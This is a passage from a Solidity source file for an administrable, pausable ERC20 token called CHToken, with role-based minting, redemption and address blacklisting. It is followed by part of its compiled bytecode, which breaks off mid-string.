emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
contract PauserRole is Ownable {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private _pausers;
constructor () internal {
_addPauser(msg.sender);
}
modifier onlyPauser() {
require(isPauser(msg.sender), "PauserRole: caller does not have the Pauser role");
_;
}
function isPauser(address account) public view returns (bool) {
return _pausers.has(account);
}
function addPauser(address account) public onlyOwner {
_addPauser(account);
}
function removePauser(address account) public onlyOwner {
_removePauser(account);
}
function renouncePauser() public {
_removePauser(msg.sender);
}
function _addPauser(address account) internal {
_pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
_pausers.remove(account);
emit PauserRemoved(account);
}
}
contract Pausable is PauserRole {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () internal {
_paused = false;
}
function paused() public view returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
event Issue(address indexed account, uint256 amount);
event Redeem(address indexed account, uint256 value);
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _issue(address account, uint256 amount) internal {
require(account != address(0), "CoinFactory: issue to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
emit Issue(account, amount);
}
function _redeem(address account, uint256 value) internal {
require(account != address(0), "CoinFactory: redeem from the zero address");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
emit Redeem(account, value);
}
}
contract ERC20Pausable is ERC20, Pausable {
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
return super.transferFrom(from, to, value);
}
function approve(address spender, uint256 value) public whenNotPaused returns (bool) {
return super.approve(spender, value);
}
function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool) {
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool) {
return super.decreaseAllowance(spender, subtractedValue);
}
}
contract CoinFactoryAdminRole is Ownable {
using Roles for Roles.Role;
event CoinFactoryAdminRoleAdded(address indexed account);
event CoinFactoryAdminRoleRemoved(address indexed account);
Roles.Role private _coinFactoryAdmins;
constructor () internal {
_addCoinFactoryAdmin(msg.sender);
}
modifier onlyCoinFactoryAdmin() {
require(isCoinFactoryAdmin(msg.sender), "CoinFactoryAdminRole: caller does not have the CoinFactoryAdmin role");
_;
}
function isCoinFactoryAdmin(address account) public view returns (bool) {
return _coinFactoryAdmins.has(account);
}
function addCoinFactoryAdmin(address account) public onlyOwner {
_addCoinFactoryAdmin(account);
}
function removeCoinFactoryAdmin(address account) public onlyOwner {
_removeCoinFactoryAdmin(account);
}
function renounceCoinFactoryAdmin() public {
_removeCoinFactoryAdmin(msg.sender);
}
function _addCoinFactoryAdmin(address account) internal {
_coinFactoryAdmins.add(account);
emit CoinFactoryAdminRoleAdded(account);
}
function _removeCoinFactoryAdmin(address account) internal {
_coinFactoryAdmins.remove(account);
emit CoinFactoryAdminRoleRemoved(account);
}
}
contract CoinFactory is ERC20, CoinFactoryAdminRole {
function issue(address account, uint256 amount) public onlyCoinFactoryAdmin returns (bool) {
_issue(account, amount);
return true;
}
function redeem(address account, uint256 amount) public onlyCoinFactoryAdmin returns (bool) {
_redeem(account, amount);
return true;
}
}
contract BlacklistAdminRole is Ownable {
using Roles for Roles.Role;
event BlacklistAdminAdded(address indexed account);
event BlacklistAdminRemoved(address indexed account);
Roles.Role private _blacklistAdmins;
constructor () internal {
_addBlacklistAdmin(msg.sender);
}
modifier onlyBlacklistAdmin() {
require(isBlacklistAdmin(msg.sender), "BlacklistAdminRole: caller does not have the BlacklistAdmin role");
_;
}
function isBlacklistAdmin(address account) public view returns (bool) {
return _blacklistAdmins.has(account);
}
function addBlacklistAdmin(address account) public onlyOwner {
_addBlacklistAdmin(account);
}
function removeBlacklistAdmin(address account) public onlyOwner {
_removeBlacklistAdmin(account);
}
function renounceBlacklistAdmin() public {
_removeBlacklistAdmin(msg.sender);
}
function _addBlacklistAdmin(address account) internal {
_blacklistAdmins.add(account);
emit BlacklistAdminAdded(account);
}
function _removeBlacklistAdmin(address account) internal {
_blacklistAdmins.remove(account);
emit BlacklistAdminRemoved(account);
}
}
contract Blacklist is ERC20, BlacklistAdminRole {
mapping (address => bool) private _blacklist;
event BlacklistAdded(address indexed account);
event BlacklistRemoved(address indexed account);
function isBlacklist(address account) public view returns (bool) {
return _blacklist[account];
}
function addBlacklist(address[] memory accounts) public onlyBlacklistAdmin returns (bool) {
for(uint i = 0; i < accounts.length; i++) {
_addBlacklist(accounts[i]);
}
}
function removeBlacklist(address[] memory accounts) public onlyBlacklistAdmin returns (bool) {
for(uint i = 0; i < accounts.length; i++) {
_removeBlacklist(accounts[i]);
}
}
function _addBlacklist(address account) internal {
_blacklist[account] = true;
emit BlacklistAdded(account);
}
function _removeBlacklist(address account) internal {
_blacklist[account] = false;
emit BlacklistRemoved(account);
}
}
contract CHToken is ERC20, ERC20Pausable, CoinFactory, Blacklist {
string public name;
string public symbol;
uint8 public decimals;
uint256 private _totalSupply;
constructor (string memory _name, string memory _symbol, uint8 _decimals) public {
_totalSupply = 0;
name = _name;
symbol = _symbol;
decimals = _decimals;
}
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
require(!isBlacklist(msg.sender), "CHToken: caller in blacklist can't transfer");
require(!isBlacklist(to), "CHToken: not allow to transfer to recipient address in blacklist");
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
require(!isBlacklist(msg.sender), "CHToken: caller in blacklist can't transferFrom");
require(!isBlacklist(from), "CHToken: from in blacklist can't transfer");
require(!isBlacklist(to), "CHToken: not allow to transfer to recipient address in blacklist");
return super.transferFrom(from, to, value);
}
} | 0x608060405234801561001057600080fd5b50600436106102065760003560e01c80636ef8d66d1161011a57806395d89b41116100ad578063cf7d6db71161007c578063cf7d6db714610b19578063d3ce790514610b75578063dd62ed3e14610bb9578063e5c855c914610c31578063f2fde38b14610c7557610206565b806395d89b4114610986578063998b479214610a09578063a457c2d714610a4d578063a9059cbb14610ab357610206565b80638456cb59116100e95780638456cb59146108aa578063867904b4146108b45780638da5cb5b1461091a5780638f32d59b1461096457610206565b80636ef8d66d1461073457806370a082311461073e5780637911ef9d1461079657806382dc1ec41461086657610206565b806332068e911161019d5780633f4ba83a1161016c5780633f4ba83a1461062457806346fbf68e1461062e5780635c975abb1461068a5780635e612bab146106ac5780636b2c0f55146106f057610206565b806332068e9114610488578063333e99db1461049257806339509351146104ee5780633d2cc56c1461055457610206565b80631e9a6950116101d95780631e9a69501461036e57806323b872dd146103d4578063243f24731461045a578063313ce5671461046457610206565b806306fdde031461020b578063095ea7b31461028e57806316d2e650146102f457806318160ddd14610350575b600080fd5b610213610cb9565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610253578082015181840152602081019050610238565b50505050905090810190601f1680156102805780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102da600480360360408110156102a457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d57565b604051808215151515815260200191505060405180910390f35b6103366004803603602081101561030a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dee565b604051808215151515815260200191505060405180910390f35b610358610e0b565b6040518082815260200191505060405180910390f35b6103ba6004803603604081101561038457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e15565b604051808215151515815260200191505060405180910390f35b610440600480360360608110156103ea57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e89565b604051808215151515815260200191505060405180910390f35b61046261103f565b005b61046c61104a565b604051808260ff1660ff16815260200191505060405180910390f35b61049061105d565b005b6104d4600480360360208110156104a857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b604051808215151515815260200191505060405180910390f35b61053a6004803603604081101561050457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110be565b604051808215151515815260200191505060405180910390f35b61060a6004803603602081101561056a57600080fd5b810190808035906020019064010000000081111561058757600080fd5b82018360208201111561059957600080fd5b803590602001918460208302840111640100000000831117156105bb57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611155565b604051808215151515815260200191505060405180910390f35b61062c6111f3565b005b6106706004803603602081101561064457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611353565b604051808215151515815260200191505060405180910390f35b610692611370565b604051808215151515815260200191505060405180910390f35b6106ee600480360360208110156106c257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611387565b005b6107326004803603602081101561070657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061140d565b005b61073c611493565b005b6107806004803603602081101561075457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061149e565b6040518082815260200191505060405180910390f35b61084c600480360360208110156107ac57600080fd5b81019080803590602001906401000000008111156107c957600080fd5b8201836020820111156107db57600080fd5b803590602001918460208302840111640100000000831117156107fd57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506114e7565b604051808215151515815260200191505060405180910390f35b6108a86004803603602081101561087c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611585565b005b6108b261160b565b005b610900600480360360408110156108ca57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061176c565b604051808215151515815260200191505060405180910390f35b6109226117e0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61096c611809565b604051808215151515815260200191505060405180910390f35b61098e611860565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156109ce5780820151818401526020810190506109b3565b50505050905090810190601f1680156109fb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610a4b60048036036020811015610a1f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118fe565b005b610a9960048036036040811015610a6357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611984565b604051808215151515815260200191505060405180910390f35b610aff60048036036040811015610ac957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611a1b565b604051808215151515815260200191505060405180910390f35b610b5b60048036036020811015610b2f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b70565b604051808215151515815260200191505060405180910390f35b610bb760048036036020811015610b8b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b8d565b005b610c1b60048036036040811015610bcf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c13565b6040518082815260200191505060405180910390f35b610c7360048036036020811015610c4757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c9a565b005b610cb760048036036020811015610c8b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d20565b005b60098054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d4f5780601f10610d2457610100808354040283529160200191610d4f565b820191906000526020600020905b815481529060010190602001808311610d3257829003601f168201915b505050505081565b6000600560009054906101000a900460ff1615610ddc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b610de68383611da6565b905092915050565b6000610e04826007611dbd90919063ffffffff16565b9050919050565b6000600354905090565b6000610e2033611b70565b610e75576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260448152602001806132ef6044913960600191505060405180910390fd5b610e7f8383611e9b565b6001905092915050565b6000600560009054906101000a900460ff1615610f0e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b610f1733611068565b15610f6d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f815260200180613280602f913960400191505060405180910390fd5b610f7684611068565b15610fcc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806133b66029913960400191505060405180910390fd5b610fd583611068565b1561102b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260408152602001806133766040913960400191505060405180910390fd5b611036848484612089565b90509392505050565b61104833612122565b565b600b60009054906101000a900460ff1681565b6110663361217c565b565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600560009054906101000a900460ff1615611143576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b61114d83836121d6565b905092915050565b600061116033610dee565b6111b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260408152602001806132af6040913960400191505060405180910390fd5b60008090505b82518110156111ed576111e08382815181106111d357fe5b602002602001015161227b565b80806001019150506111bb565b50919050565b6111fc33611353565b611251576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806131df6030913960400191505060405180910390fd5b600560009054906101000a900460ff166112d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f5061757361626c653a206e6f742070617573656400000000000000000000000081525060200191505060405180910390fd5b6000600560006101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa33604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b6000611369826004611dbd90919063ffffffff16565b9050919050565b6000600560009054906101000a900460ff16905090565b61138f611809565b611401576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61140a81612122565b50565b611415611809565b611487576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61149081612319565b50565b61149c33612319565b565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60006114f233610dee565b611547576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260408152602001806132af6040913960400191505060405180910390fd5b60008090505b825181101561157f5761157283828151811061156557fe5b6020026020010151612373565b808060010191505061154d565b50919050565b61158d611809565b6115ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61160881612411565b50565b61161433611353565b611669576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806131df6030913960400191505060405180910390fd5b600560009054906101000a900460ff16156116ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b6001600560006101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a25833604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b600061177733611b70565b6117cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260448152602001806132ef6044913960600191505060405180910390fd5b6117d6838361246b565b6001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b600a8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156118f65780601f106118cb576101008083540402835291602001916118f6565b820191906000526020600020905b8154815290600101906020018083116118d957829003601f168201915b505050505081565b611906611809565b611978576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61198181612659565b50565b6000600560009054906101000a900460ff1615611a09576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b611a1383836126b3565b905092915050565b6000600560009054906101000a900460ff1615611aa0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b611aa933611068565b15611aff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b815260200180613428602b913960400191505060405180910390fd5b611b0883611068565b15611b5e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260408152602001806133766040913960400191505060405180910390fd5b611b688383612758565b905092915050565b6000611b86826006611dbd90919063ffffffff16565b9050919050565b611b95611809565b611c07576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b611c10816127ef565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611ca2611809565b611d14576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b611d1d8161217c565b50565b611d28611809565b611d9a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b611da381612849565b50565b6000611db333848461298d565b6001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611e44576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806133546022913960400191505060405180910390fd5b8260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f21576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806132576029913960400191505060405180910390fd5b611f3681600354612b8490919063ffffffff16565b600381905550611f8e81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b8490919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff167f222838db2794d11532d940e8dec38ae307ed0b63cd97c233322e221f998767a6826040518082815260200191505060405180910390a25050565b6000600560009054906101000a900460ff161561210e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b612119848484612c0d565b90509392505050565b612136816007612cbe90919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167fba73eacdfe215f630abb6a8a78e5be613e50918b52e691bba35d46c06e20d6c860405160405180910390a250565b612190816006612cbe90919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167f15bf0aef1cc552f782bc5ad7121d42ea78efbfbec8dd9e16fb9f37967ad763fb60405160405180910390a250565b6000612271338461226c85600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d7b90919063ffffffff16565b61298d565b6001905092915050565b6001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167f44d5fe68b00f68950fb9c1ff0a61ef7f747b1a36359a7e3a7f3324db4b87896760405160405180910390a250565b61232d816004612cbe90919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167fcd265ebaf09df2871cc7bd4133404a235ba12eff2041bb89d9c714a2621c7c7e60405160405180910390a250565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167f1747ca720b1a174a464b6513ace29b1d3190b5f632b9f34147017c81425bfde860405160405180910390a250565b612425816004612e0390919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167f6719d08c1888103bea251a4ed56406bd0c3e69723c8a1686e017e7bbe159b6f860405160405180910390a250565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156124f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806131966026913960400191505060405180910390fd5b61250681600354612d7b90919063ffffffff16565b60038190555061255e81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d7b90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff167fc65a3f767206d2fdcede0b094a4840e01c0dd0be1888b5ba800346eaa0123c16826040518082815260200191505060405180910390a25050565b61266d816006612e0390919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167f9e8b5fbf24fd7f86d2666e8f27ffdeb7c0aa870faa1980ad7290677152938dfa60405160405180910390a250565b600061274e338461274985600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b8490919063ffffffff16565b61298d565b6001905092915050565b6000600560009054906101000a900460ff16156127dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b6127e78383612ede565b905092915050565b612803816007612e0390919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167fa6124c7f565d239231ddc9de42e684db7443c994c658117542be9c50f561943860405160405180910390a250565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156128cf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061320f6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612a13576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806134046024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612a99576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806132356022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600082821115612bfc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b600082840390508091505092915050565b6000612c1a848484612ef5565b612cb38433612cae85600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b8490919063ffffffff16565b61298d565b600190509392505050565b612cc88282611dbd565b612d1d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806133336021913960400191505060405180910390fd5b60008260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600080828401905083811015612df9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b612e0d8282611dbd565b15612e80576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f526f6c65733a206163636f756e7420616c72656164792068617320726f6c650081525060200191505060405180910390fd5b60018260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000612eeb338484612ef5565b6001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612f7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806133df6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613001576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806131bc6023913960400191505060405180910390fd5b61305381600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b8490919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffffffffffff